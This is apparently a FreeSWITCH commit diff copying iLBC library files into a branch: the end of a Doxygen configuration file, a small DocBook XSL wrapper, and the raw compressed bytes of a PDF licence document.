+# a tag file that is based on the input files it reads.
+
+GENERATE_TAGFILE       = 
+
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed 
+# in the class index. If set to NO only the inherited external classes 
+# will be listed.
+
+ALLEXTERNALS           = NO
+
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed 
+# in the modules index. If set to NO, only the current project's groups will 
+# be listed.
+
+EXTERNAL_GROUPS        = YES
+
+# The PERL_PATH should be the absolute path and name of the perl script 
+# interpreter (i.e. the result of `which perl').
+
+PERL_PATH              = /usr/bin/perl
+
+#---------------------------------------------------------------------------
+# Configuration options related to the dot tool   
+#---------------------------------------------------------------------------
+
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will 
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base 
+# or super classes. Setting the tag to NO turns the diagrams off. Note that 
+# this option is superseded by the HAVE_DOT option below. This is only a 
+# fallback. It is recommended to install and use dot, since it yields more 
+# powerful graphs.
+
+CLASS_DIAGRAMS         = YES
+
+# If set to YES, the inheritance and collaboration graphs will hide 
+# inheritance and usage relations if the target is undocumented 
+# or is not a class.
+
+HIDE_UNDOC_RELATIONS   = YES
+
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is 
+# available from the path. This tool is part of Graphviz, a graph visualization 
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section 
+# have no effect if this option is set to NO (the default)
+
+HAVE_DOT               = NO
+
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for each documented class showing the direct and 
+# indirect inheritance relations. Setting this tag to YES will force the 
+# the CLASS_DIAGRAMS tag to NO.
+
+CLASS_GRAPH            = YES
+
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for each documented class showing the direct and 
+# indirect implementation dependencies (inheritance, containment, and 
+# class references variables) of the class with other documented classes.
+
+COLLABORATION_GRAPH    = YES
+
+# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for groups, showing the direct groups dependencies
+
+GROUP_GRAPHS           = YES
+
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and 
+# collaboration diagrams in a style similar to the OMG's Unified Modeling 
+# Language.
+
+UML_LOOK               = NO
+
+# If set to YES, the inheritance and collaboration graphs will show the 
+# relations between templates and their instances.
+
+TEMPLATE_RELATIONS     = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT 
+# tags are set to YES then doxygen will generate a graph for each documented 
+# file showing the direct and indirect include dependencies of the file with 
+# other documented files.
+
+INCLUDE_GRAPH          = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and 
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each 
+# documented header file showing the documented files that directly or 
+# indirectly include this file.
+
+INCLUDED_BY_GRAPH      = YES
+
+# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will 
+# generate a call dependency graph for every global function or class method. 
+# Note that enabling this option will significantly increase the time of a run. 
+# So in most cases it will be better to enable call graphs for selected 
+# functions only using the \callgraph command.
+
+CALL_GRAPH             = NO
+
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen 
+# will graphical hierarchy of all classes instead of a textual one.
+
+GRAPHICAL_HIERARCHY    = YES
+
+# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES 
+# then doxygen will show the dependencies a directory has on other directories 
+# in a graphical way. The dependency relations are determined by the #include
+# relations between the files in the directories.
+
+DIRECTORY_GRAPH        = YES
+
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images 
+# generated by dot. Possible values are png, jpg, or gif
+# If left blank png will be used.
+
+DOT_IMAGE_FORMAT       = png
+
+# The tag DOT_PATH can be used to specify the path where the dot tool can be 
+# found. If left blank, it is assumed the dot tool can be found in the path.
+
+DOT_PATH               = 
+
+# The DOTFILE_DIRS tag can be used to specify one or more directories that 
+# contain dot files that are included in the documentation (see the 
+# \dotfile command).
+
+DOTFILE_DIRS           = 
+
+# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width 
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than 
+# this value, doxygen will try to truncate the graph, so that it fits within 
+# the specified constraint. Beware that most browsers cannot cope with very 
+# large images.
+
+MAX_DOT_GRAPH_WIDTH    = 1024
+
+# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height 
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than 
+# this value, doxygen will try to truncate the graph, so that it fits within 
+# the specified constraint. Beware that most browsers cannot cope with very 
+# large images.
+
+MAX_DOT_GRAPH_HEIGHT   = 1024
+
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the 
+# graphs generated by dot. A depth value of 3 means that only nodes reachable 
+# from the root by following a path via at most 3 edges will be shown. Nodes 
+# that lay further from the root node will be omitted. Note that setting this 
+# option to 1 or 2 may greatly reduce the computation time needed for large 
+# code bases. Also note that a graph may be further truncated if the graph's 
+# image dimensions are not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH 
+# and MAX_DOT_GRAPH_HEIGHT). If 0 is used for the depth value (the default), 
+# the graph is not depth-constrained.
+
+MAX_DOT_GRAPH_DEPTH    = 0
+
+# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent 
+# background. This is disabled by default, which results in a white background. 
+# Warning: Depending on the platform used, enabling this option may lead to 
+# badly anti-aliased labels on the edges of a graph (i.e. they become hard to 
+# read).
+
+DOT_TRANSPARENT        = NO
+
+# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output 
+# files in one run (i.e. multiple -o and -T options on the command line). This 
+# makes dot run faster, but since only newer versions of dot (>1.8.10) 
+# support this, this feature is disabled by default.
+
+DOT_MULTI_TARGETS      = NO
+
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
+# generate a legend page explaining the meaning of the various boxes and 
+# arrows in the dot generated graphs.
+
+GENERATE_LEGEND        = YES
+
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will 
+# remove the intermediate dot files that are used to generate 
+# the various graphs.
+
+DOT_CLEANUP            = YES
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to the search engine   
+#---------------------------------------------------------------------------
+
+# The SEARCHENGINE tag specifies whether or not a search engine should be 
+# used. If set to NO the values of all tags below this one will be ignored.
+
+SEARCHENGINE           = NO

Deleted: freeswitch/branches/seven/libs/ilbc/doc/wrapper.xsl

Copied: freeswitch/branches/seven/libs/ilbc/doc/wrapper.xsl (from rev 14471, freeswitch/trunk/libs/ilbc/doc/wrapper.xsl) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/doc/wrapper.xsl	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/doc/wrapper.xsl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                version='1.0'>
+  <xsl:import href="http://docbook.sourceforge.net/release/xsl/current/xhtml/chunk.xsl"/>
+  <xsl:param name="html.stylesheet">css.css</xsl:param>
+</xsl:stylesheet>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/ilbc/gips_iLBClicense.pdf

Copied: freeswitch/branches/seven/libs/ilbc/gips_iLBClicense.pdf (from rev 14471, freeswitch/trunk/libs/ilbc/gips_iLBClicense.pdf) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/gips_iLBClicense.pdf	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/gips_iLBClicense.pdf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1421 @@
+%PDF-1.4
+%\xE2\xE3\xCF\xD3
+461 0 obj <</Linearized 1/L 108196/O 465/E 23994/N 5/T 98928/H [ 1097 364]>>
+endobj
+              
+xref
+461 39
+0000000016 00000 n
+0000001646 00000 n
+0000001097 00000 n
+0000001959 00000 n
+0000002100 00000 n
+0000002473 00000 n
+0000002539 00000 n
+0000002704 00000 n
+0000002868 00000 n
+0000003033 00000 n
+0000003198 00000 n
+0000003358 00000 n
+0000003523 00000 n
+0000003786 00000 n
+0000003863 00000 n
+0000004109 00000 n
+0000004349 00000 n
+0000005008 00000 n
+0000005044 00000 n
+0000005514 00000 n
+0000006235 00000 n
+0000007947 00000 n
+0000009580 00000 n
+0000011307 00000 n
+0000013071 00000 n
+0000014808 00000 n
+0000016554 00000 n
+0000016598 00000 n
+0000016854 00000 n
+0000017266 00000 n
+0000019028 00000 n
+0000020909 00000 n
+0000020990 00000 n
+0000021052 00000 n
+0000021120 00000 n
+0000021188 00000 n
+0000021256 00000 n
+0000021324 00000 n
+0000001461 00000 n
+trailer
+<</Size 500/Prev 98916/XRefStm 1461/Root 462 0 R/Info 104 0 R/ID[<13bfe91fbc302ba3aba2ed6eac74e6df><d2e6130653d5474580ceaf0e9f23c3b7>]>>
+startxref
+0
+%%EOF
+                 
+463 0 obj<</Length 270/Filter/FlateDecode/C 294/L 278/O 262/S 164>>stream
+x\xDAb```f``\xB3f`c`Pud\xE0c@>V\xA0(GC\xE0A\x86ÞVˤ٤N\x87\xEDj`\xC0\x8Ft.-N\x9C \xDE\xE5\xDC\xE3\xB0\xE8,\x90\xD1\x99\x91\xC2\xFAh\xC1\xABt\x9D\xCB+\x9FLm_\xAD\xD6Ր\x96\xD6\xD1\xD1\xD1a00\xBA\xA4\xD9li`9AA\xA0d\xDCJ \x90b`Tn\xD2\xCA@\xACQa\xE0a\x9B\xC8\x{8110E1}\x91C\xA0\x86C\xE01ӄK<\x87\xF27i]\xEBI\xBE6;\x87mi\xD6ރ\xD9\xCFM\x99.H11(ђU\xCC:\x8C8\x80H\x92\xF1\xDC*\x8C2@چ\x81A_H\xA700\xE6\x85i& \xB6\xE2\xC6p\xA00<ĥ\x80\xB4۪\xAC\x9CE;\x9F\xF69)\xCA1\xCE}(\xCB{ \xC0B&H5
+endstream
+endobj
+499 0 obj<</Size 461/Length 34/Filter/FlateDecode/DecodeParms<</Columns 3/Predictor 12>>/W[1 1 1]/Type/XRef/Index[105 356]>>stream
+x\xDAbbJ``b``Ń3\xCE
+\x83\xD1\xF8\xC5#3>6\x89e
+endstream
+endobj
+462 0 obj<</Pages 102 0 R/Outlines 36 0 R/Type/Catalog/PageLabels 100 0 R/StructTreeRoot 105 0 R/Metadata 103 0 R/OCProperties<</D<</Order[]/RBGroups[]>>/OCGs[464 0 R]>>/PieceInfo<</MarkedPDF<</LastModified(D:20041209170908)>>>>/LastModified(D:20041209170908)/MarkInfo<</Marked true/LetterspaceFlags 0>>>>
+endobj
+464 0 obj<</Type/OCG/Name(HeaderFooter)/Usage<</CreatorInfo<</Creator(Acrobat PDFMaker 6.0 for Word)>>/PageElement<</SubType/HF>>>>>>
+endobj
+465 0 obj<</Annots 466 0 R/Contents[481 0 R 482 0 R 483 0 R 484 0 R 485 0 R 486 0 R 490 0 R 491 0 R]/Type/Page/Parent 102 0 R/Rotate 0/MediaBox[0 0 612 792]/CropBox[0 0 612 792]/Resources<</ColorSpace<</CS0 478 0 R>>/Font<</TT2 477 0 R/TT0 479 0 R/TT1 480 0 R/TT3 489 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS0 474 0 R>>/Properties<</MC0 487 0 R>>>>/StructParents 0>>
+endobj
+466 0 obj[467 0 R 468 0 R 469 0 R 470 0 R 471 0 R 472 0 R]
+endobj
+467 0 obj<</H/I/Type/Annot/Rect[181.199997 562.736938 360.295135 574.563049]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 492 0 R/StructParent 1>>
+endobj
+468 0 obj<</H/I/Type/Annot/Rect[145.979996 531.716919 237.597595 543.54303]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 493 0 R/StructParent 2>>
+endobj
+469 0 obj<</H/I/Type/Annot/Rect[249.179993 516.357056 373.384888 528.183167]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 494 0 R/StructParent 3>>
+endobj
+470 0 obj<</H/I/Type/Annot/Rect[392.880005 516.357056 517.150879 528.183167]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 495 0 R/StructParent 4>>
+endobj
+471 0 obj<</H/I/Type/Annot/Rect[115.5 248.277039 239.821579 260.103149]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 496 0 R/StructParent 5>>
+endobj
+472 0 obj<</H/I/Type/Annot/Rect[259.259979 248.277039 383.499756 260.103149]/Border[0 0 0]/BS<</W 0/Type/Border/S/S>>/Subtype/Link/A 497 0 R/StructParent 6>>
+endobj
+473 0 obj<</Type/FontDescriptor/FontBBox[-547 -307 1206 1032]/FontName/TimesNewRomanPS-BoldItalicMT/Flags 98/StemV 116.867004/CapHeight 656/XHeight 468/Ascent 891/Descent -216/ItalicAngle -15/FontFamily(Times New Roman)/FontStretch/Normal/FontWeight 700>>
+endobj
+474 0 obj<</Type/ExtGState/SA false/OP false/SM 0.02/op false/OPM 1>>
+endobj
+475 0 obj<</Type/FontDescriptor/FontBBox[-558 -307 2000 1026]/FontName/TimesNewRomanPS-BoldMT/Flags 34/StemV 136/CapHeight 656/XHeight 0/Ascent 891/Descent -216/ItalicAngle 0/FontFamily(Times New Roman)/FontStretch/Normal/FontWeight 700>>
+endobj
+476 0 obj<</Type/FontDescriptor/FontBBox[-568 -307 2000 1007]/FontName/TimesNewRomanPSMT/Flags 34/StemV 82/CapHeight 656/XHeight 0/Ascent 891/Descent -216/ItalicAngle 0/FontFamily(Times New Roman)/FontStretch/Normal/FontWeight 400>>
+endobj
+477 0 obj<</Type/Font/Encoding/WinAnsiEncoding/BaseFont/TimesNewRomanPS-BoldMT/FirstChar 32/LastChar 214/Subtype/TrueType/FontDescriptor 475 0 R/Widths[250 0 0 0 0 0 0 0 0 0 0 570 250 333 250 0 500 500 500 500 500 500 500 500 500 500 333 333 0 0 0 0 930 722 667 722 722 667 611 778 778 389 0 778 667 944 722 778 611 0 722 556 667 722 722 1000 0 722 0 0 0 0 0 0 0 500 556 444 556 444 333 500 556 278 0 556 278 833 556 500 556 0 444 389 333 556 500 722 500 500 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 778]>>
+endobj
+478 0 obj[/ICCBased 498 0 R]
+endobj
+479 0 obj<</Type/Font/Encoding/WinAnsiEncoding/BaseFont/TimesNewRomanPS-BoldItalicMT/FirstChar 32/LastChar 148/Subtype/TrueType/FontDescriptor 473 0 R/Widths[250 0 0 0 0 0 0 0 0 0 0 0 250 0 250 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 667 722 667 667 0 0 389 0 0 0 0 722 722 0 0 0 556 611 0 0 0 0 0 0 0 0 0 0 0 0 500 500 444 500 444 333 0 556 278 0 0 278 778 556 500 500 0 389 389 278 556 0 667 0 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 500 500]>>
+endobj
+480 0 obj<</Type/Font/Encoding/WinAnsiEncoding/BaseFont/TimesNewRomanPSMT/FirstChar 32/LastChar 233/Subtype/TrueType/FontDescriptor 476 0 R/Widths[250 0 0 0 500 0 0 180 333 333 0 564 250 333 250 278 500 500 500 500 500 500 500 500 500 500 278 278 0 0 0 0 921 722 667 667 722 611 556 722 722 333 389 722 611 889 722 722 556 722 667 556 611 722 722 944 722 722 611 0 0 0 0 0 0 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500 500 500 333 389 278 500 500 722 500 500 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 333 444 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 722 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 444]>>
+endobj
+481 0 obj<</Length 1641/Filter/FlateDecode>>stream
+H\x89\x8C\x97oo9\xC6\xDF\xE7S\xF8%H\xE0z\xFC\xDF'\x84D\xD3\xC0UJiE\xF6t:\xA9o\x96d)AiR\xED\xA6w\x82O\xE3M\x93xf\x9B
+!\xCA\xFEv\xEC\xCF<~\xF6l\xF6P\xAFŻwgW\xE3\xCB\xA1\xC4\xFB\xF7\xE7c1:ϔ\x98w\xF8C\xFE#\xBA\xF9zb\x89\xBF\xC2\xDF\xEF\xBA\xD1y5:\xAB*%@T\xDFFo\x95TJ%Q͑\xAD\xFE\xCB/T\x9D\x95\xFF\xFD\x95jE\xEA\xE3$\xA1c\x92
+RJ"(\xFC_Hɋ\xEA~\xF4\xEA\xF3uu9\x9E\xBC\xAE~\x8C&\xD5hr\x85;(\xC9 5\x92A#\x93W
+\x84\x92\xD1\xE4\xDAf\xF4mtFR\x80}
+d\x8B*on\xBF	\xA3\xB5L0\xB2M\x88r}\xEF$f\x80k\x88\xD2y\\xD2F\xD2\xDAݢ\xC5\xE3$\xE4\xFDC\xC4\xFA\xC8;\xC8K\xE5I\x80\xFC\x97R\xF6w;K\x97\xB0!\xCA9>_gO\xF6\xB1v謗\xB6\xFF\xB9X3?=\xA6嬓\xD6\xE5\xA5^ʫ\xA4\xF6\x81\xC23\xCB\xFDu,\xA4\xD2B>\xF0]\xA9\xBD4\xB4\x8C'\x9Fy\xA6O\xAD\xC4\xFB)\xB1~Kvvs\xE8%M{	\x9Ez)w\xBB\xEB\xBB\xFF\xA7#\xE4\x9E\xDF\xF7V\xD0\xC2'\xDBw>\xACV\xE2\xB1k\xC4\xE6[\xEE\xAE=\xD8\xD3\xCE(\xEF-\xB6\xDF	\x86\xFB
+\xCE`X#\xAE[\xC2\xDD'\xC2_\xDE-\xD7\xF5J\x8C7\x8BFܾ\xFAtI\xDE\xC9f\x946읛\x99XN\xCF\xC7oD	k\xEDd\xD4\xF8~\xEB\xF5\x82r\xA4r,\xE3\xE6J%iS\xB0|\xBB\xB8ˇv\xF3\xEFrA\xE0hd\xB0\xC6^
+\xBCM\xBCP\xF1\x95`	#\xC6\xC4c\xFD,!\xA3\x8ES\xE2u\x94qŃ\xA7\xB9\xABp\xDF !:ĕ
+bR\xE0\x95IJםx\xA8\xDB-k\xE3\xAA\x9E\xD1\xFE\xC5\xFDx#!\xC7+Z\xAF	@z\xEDyf4\xFB\xE01\x92w<5\x8EU\xBDm\x824\x91UQbo\xF0\xB2O\xAA\x8F\x84\xD2V\x82s\x91\xEFN̶\xD8@uK\xCEۺ(\xADV<\xA4شbA\x9Aކ \x93\x89\xACI\xF5l\xB42F@\xC1\xA0\xD4Vty\xEDu\x98\x8B7\x83\x83\xA9	Zz%l\xB7\xAFɁ8\x93\xACLd\xF7\xFC-\xE3ȬH{uSL\xFDN??\xAAez\xF5SϨ\xC1v꧞S?sZ\xFD졷?\x9CV\xDF\xDFE9\xDB\xEE\xF1\xEB\x8Ff\xBEۍ\xA0ꗥ5\x90\xE1\xDBJF\xA1Fy\xFF\xB0j\xB6\x8D\xF8\xB4ڐ\xF9\x86\xE0$c\x96)\x82\xA32\xEDCKa\xD00\xEE\x86@IK\x8D\xA3\x9A$f\x9B\xC7'\xD9\xEB\x8B\xE1\xC5e14^\xA0x\x89\xF2\xB3\xB6\x8A\xAA\x86^&\xEB\xB5e\xE4\xE3\xD7\xD5r.\xA6\xCBy\xB3\xEE\x9A74\xD4m\xAC\x9E){gB!N\xF0\x9E1\xD5\xC7g\xE7\xC5\xB5Q\xAF	\xBD\x8C\xD8F!\xF0\x85\xA7\xCB\xFBCA\xF6\xC1\xF6/\xA5/hi\
+|C\xCB,+\xE3\xCD\xFD}\xD3ΗxT\xE1uI$X\x94[\xF6\xDEm\xDF0\xB7\xAF\x9EJt\xAB\xB5\xBD}-\xC59X\xBC\xB8\xA2\xDE@?\xE9\xB0\xE2$X\xEFxR'F5Bad\xFA\xE1\xD1\xF9\xF7rZ_B\x8A\x81%\xD8~`K\xF20\xB3%y\x98\xD9#Y\x8C\xAD=9\xB6\xA0\xA3a\xE0Z\x82y
+\xD8\xCC|^\xAB\x92r\xBB1\xAA\xE9\xBA\xE5\xFAn\xE0Y\xF0jF
+\xE0\x81g\x81<\xAB12n\xE7Y\x89\x9D\xA9pJ#{_C\xC7+\x84\xFFlE}\xD7Rˀ\xD3J\xF4`\x9F\x84\xCA׵\xF2\x83\xB5Q\xD1h\xDA\xD31^\xE7\xE6~)\x9CAߗ\xFA."\xD4tIẽ\xE5\xA72\xA7tm4\xDFM\xD2e/c_o\xDD\xED\xA7\xF58\xAC\x9A\xAB\xF6\x90\xAFa3\xCCgKJ\x82\x83æ^\xFF1:~,\xED=\xB5p\xD9$\xF8\xC4\xF3\xE9$\x93\xCB\xB2A\x81\xC4K8\xD0G\xC76\xD0G\xF01r\xE8\x81\xC0\xA2"4\xFC\x9AQ(\xA1\xB1r\x91\x97\x81.\x87\x96e\xCC\xF0S4T\xB6\xF2h\xA1y\xB1&Q\xFDI\xE3\xF5\x9E`\xD0\xEDB	Q`\xF9\xCE\xC6\xD7W\xA4\xAA&\xA1˄aQ'\xD5DL\xA9\xE5\xD3(\x91\xC1k\xBE\xECx\xF2\x99$\x82\x82*}\xB4\x83֘\x88\xF3\xC9\xF4z`\xE4\xB4\x90S#\x97?\xD1p\xC2x\xB6\xD4i\xA6\xAC\xDFZ\xF1#%\xEB9\x85=\xAB\xD5`r\xBE\x9C\xD0{t\xCDЛ\x9E\xD6\xEC\xE4\xF3B\xE9	sښ\x95\xD8\xD6\xCC=\xAB\xF1o\xFB\xDBW._;0g\xAFx\xDB;\x96\xDC\xE6\x97\xD5\xE5\xF5\xE7Sj\xCE\xD0r\x99\xFE\x82\xA0x5\xF9r5\x93\x84\xC4\xE7ب\x89\x81\xE2r-\xEE\x9Au\xD3֫?NT\xD4\xE1a\x8Ef\xAD\xB2'=\xF9\xBC\xA8(a\xFA\x8A\x96ء\xA2%\xB6\xAB\xE8+*\xEAO\x9B]\xB3SH^K\x8BFhWn\xCC\xF9m\x9F(\xBE\xA8\x8B\xEB6\xEEO\xC8`R\xEC囦\xED\xA8=\xF8\xC5\xF3	nC>\xE6\xBCtx\x89\xF2\xADԫ7C\xD5A\xCC\xD2D0A\x83\x83W\xAC7\x83%)\x84\x97B|E\xC9bS(\xDC\xAF\x85\xB2O\xB7\x91G\x9A\xEFL \xB5\xEA ~:\x86.\x99G@\xFDr\xB2l\xD24)$\xF6\x8A\xE6\xC1H\xF9\xF1\xDBS\xEA\x87A/iM4\xB8\x83\xFA\xD3X\x80\xF7/\xFA\xE5!\x9CN/\xB6\xC1\x92-\xCDR[\x8BX\x84c\x90\xC7\x87\xC1ƈ\xE5\xD5\xE8\xA9q\xF3\x96\x93x\xA0T\xC4	\xCF_@t[\x84\xC9*\x80\x95gLK\xECUek/\xF1\xBF|#\xB7\xDF
+endstream
+endobj
+482 0 obj<</Length 1562/Filter/FlateDecode>>stream
+H\x89\x94WMo7\xBD\xEBW\xF0\x98Mr\xF8\x899\xD8I\x81	P\xA0\xBA\xE8em\xAD\x9B-$K\x90\xD7q\xDD_\xDF\xC7u$\xEFm\xB5\x85/\xB6\xF7\x91\x9C\xBEyo\xF8f\xF3\xD3\xF2\xCFEQ?E\xB9\xE4\xB51䜊>io\x8Cqj\xB9Y\xBCƱ_1`\xB1:P\xCE$\x80\x9A\x83Hg\x9B\x83 UA\x97\x8B\x8F_.\xD5"m\xF1\xC5c4ee\xB4\xCF\xCAMQ\xED\xFB\xC5\xCD"Fm\xE2k\x83\x8F\xDA\xDBR\xF2`\x8C瘠}(e\xBEI\xAAKf\x98\xF3_ջw\xE7_.?}PI\xBD\xF1\x81],\xE7˥UV-oe1\x84_\xAF\x91\xD9\xF2ARL\xA89m\xA8nXs{;%\x87\x85\xEEy\xA1
+Ӻ\xFA[\x9E/.F,\xBE\xDCn6\xFD\xFEz\xE8\xE6U\xB4\xB4A)I\x80\xD7\xC3\xDF\xE6I\x97h\x93@u㰽e\xB8H\xDArE\xD5p\xC7`\xC9\xEAc\xCE\xB6㨂؂\x93\xA8~\xCFhe\x8Bǽx/\x83\xAB\xB4b\x841Q\x97좀q\xE6Y[\xF3$	R\xE4\xB5\xCDHU\x80\xC8\x9D\xB2!\xFC\xC0A\xA4\xC9`?\xBF1Y\x8D\x96\xA0p2("\xAC\x8DV\x80\xAE\xFB=\x83U\xBE\xD7\\xD0\xD8
+\xEC"]4\xD8\xCEx\xC9@\xB5樠]\xB0A\xC6ϓ\x8CI'+\x8B%\x94\xFBXeه\xB1a\xA3]2
+\xEF8\x88t򹹡\x9F\xD5͖\x95\x83pK\xC1y/\x81\x8A\x83v\x9BT\x84󐃢N\xC6d\xD7_݆\x91\x9A|F\xAA\xD1\xC8`u\xA5\xF2P,\xF2\xC6\xFB35n\x96(\xA7\x86=/Z\xCAЇ\x90\xE4=\xF1\xA2e\x8B>j{\x{1DE0E0}\x89\xD1Zy\xE0\xBEW\x9C\xB4\xDE\xF8zF\xBB\x91\xA1\xAC\xD3\xA9\xFE;\xAB\xAEGuK\xF4Ml\xEC2=]@GɢG
+U-\x82\xBCL\xC5A\xA0\xAC񩑔\xCF\xB0\xA14A]\*&*]R\xA0O\x92d\xFD\xF5\x96\xE32\xC43\xF8"O\xE5\x95\xC80\xBB\x9ClL^	\xA8\xA7h}\xBD\xEE/\x82I\xC8 6\x9B\xF1\xF8\xF4\xCE[j\xD8#\xE3Щ\xE2\xA84z\xCDAS1܋\xD7\xDA6\xAE\xFD\xE4\xCC\xF0WW\xFF9w\xEEW\xBF\xCF\xCC\xFB3\x99\xB7\x80\xFD\xFB{\xF2o\x9BYx\xE6\xFEÉ\xDFN~\xB4bj\xAC\xD8\xC1\xF1Nz\xAA\xC8\xF7~\xFF\xA8\x86\xCF\x97o\xFB[T\xB1_\xA9]\xC7h\x8A\xC1ޗ}+\xD7\x94t\xA6Zm\xBB\xD5\xD9aR0\xB3I\xC1\xD9C|\xF0\xB9y\x80\xD5qQnt\xCDm\xEFiܰ\xF24\xE9\x8D \xB9\xD3\xA3\x87\xC3؆\x92y\x99\xA1\xFA\xB6\xF8\xA1g\xAA\xE900\xB8\xE8\xA9o\xB9\x91\xE4C\x8A^\xE2\xFA\xDB\xBBz\xB5\xB9\xBF\xA7\xCAL\xA9\x98\xE7zм\xE4\xD0\xFEN\x94\x83\xC0\xF6\xE4qO\xA7\xCAA\xB5
+e\xCD6\xBB\xF5#|\xAFM\xAD\xCFp\xEAa\xBFq3\xC2\x9D\xB2\xAB\xC6̐\xE3\xB7^\xB1\xF2\xE6c\x95Vn\xB9ۭ\x87\xEB\xEEj\xCD\xE5ՁH\xD1ʄ{\xF5\xE9\xE3\xA1Z\x87\xB5\xB2\xDB0\xF6x\x82\xA5\x95\xD2\xBF\xFC\x85\xABe\xA9\xF5J\x92\xC\x9D\xBF\\xF4ocw\xBB\xEA\xF6\xAB\xF3վ\xBB\xCF\xFER5\xE3\x97E\xC3q}\xE5Y2\x8DW\xBF\xCFD\x83a\xBA\x91јÎ\xBA\x91\xD1(\4\xFESSV\xD5\xC08\xEAҡ\x98]6ݨ\xB67\xACdd59
+l-\xCE\x9F\xE0\xF1 \xC1Spࠤ3r\xF2r7
+U\xC9˝\xF8\x84\xF0:3ΐ\xDCi\xDFw\xB5\xE1o4\xAD\xC9%f\x81}T\xB7[v\xB2\x83]Q\xA4\x90\x90¦萩H\xD0U\xAF6ܯ\x9A\x93@Kw\xAA$\xE4\xCE1&\xDC\xCD ެ\xC1\xE9\x8Cˋ\xD0\xE2\xC5\xD6<\xF2Zj\xB2?\xF8\x8F7\xE23<U\xC9+z\xA50\x85\xCD_\xB6\xAC
+^\xFC6k\x81\xE7\xEF\x87GoC\xFF#\xE4\xF8\xE6m\xA8oͿ\xBDyg\xCF\xDDP\xE2\x89\xE7\xEEd\xB2UL4Lp\xA2_\xF8\xF2\xAF\xDB{ձ\xB9\xEF#\x8C˘e\xB2\xE7
+\x85\xE1;\xB8*\xA9߫\x8E/\x86#`\xDB\xEFÊ\xF7TFAm>}&\xD8\xE31z'Z\xA1x\xB7\xC3)\x92\xA7>pP\xC2K77i\x8A\xAEÑ.%\x99&O\xB2\x8E\xFB\xBEɑcJ\xBD\\xE6\xC9\xD3
